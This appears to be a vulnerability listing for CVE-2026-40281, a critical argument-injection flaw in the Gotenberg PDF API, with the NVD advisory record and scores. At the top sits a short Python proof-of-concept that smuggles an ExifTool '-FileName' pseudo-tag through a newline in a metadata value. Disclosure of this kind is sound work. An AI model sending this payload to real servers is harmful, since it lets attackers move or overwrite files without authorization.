CVE-2026-40281

import requests # Target URL (placeholder) url = "http://target:3000/forms/pdfengines/metadata" # Exploit payload: Inject -FileName to move the processed PDF # The newline character (\n) splits the ExifTool command line payload = { "metadata": { "Author": "Attacker\n-FileName</tmp/pwned.pdf" } } # Send the request response = requests.post(url, json=payload) print(f"Status Code: {response.status_code}") print("If successful, the processed PDF has been moved to /tmp/pwned.pdf")

{"cve": {"id": "CVE-2026-40281", "sourceIdentifier": "[email protected]", "published": "2026-05-06T21:16:01.353", "lastModified": "2026-05-11T14:46:07.127", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Gotenberg is a Docker-powered stateless API for PDF files. In versions 8.30.1 and earlier, the metadata write endpoint validates metadata keys for control characters but leaves metadata values unsanitized. A newline character in a metadata value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, and -HardLink. This is a bypass of the incomplete key-sanitization fix introduced in v8.30.1. An unauthenticated attacker can rename or move any PDF being processed to an arbitrary path in the container filesystem, overwrite arbitrary files, or create symlinks and hard links at arbitrary paths."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-88"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:thecodingmachine:gotenberg:*:*:*:*:*:*:*:*", "versionEndExcluding": "8.31.0", "matchCriteriaId": "953D4808-E728-472B-94E3-9714C1E2EA1C"}]}]}], "references": [{"url": "https://github.com/gotenberg/gotenberg/commit/405f1069c026bb08f319fb5a44e5c67c33208318", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-q7r4-hc83-hf2q", "source": "[email protected]", "tags": ["Exploit", "Patch", "Vendor Advisory"]}, {"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-q7r4-hc83-hf2q", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Patch", "Vendor Advisory"]}]}}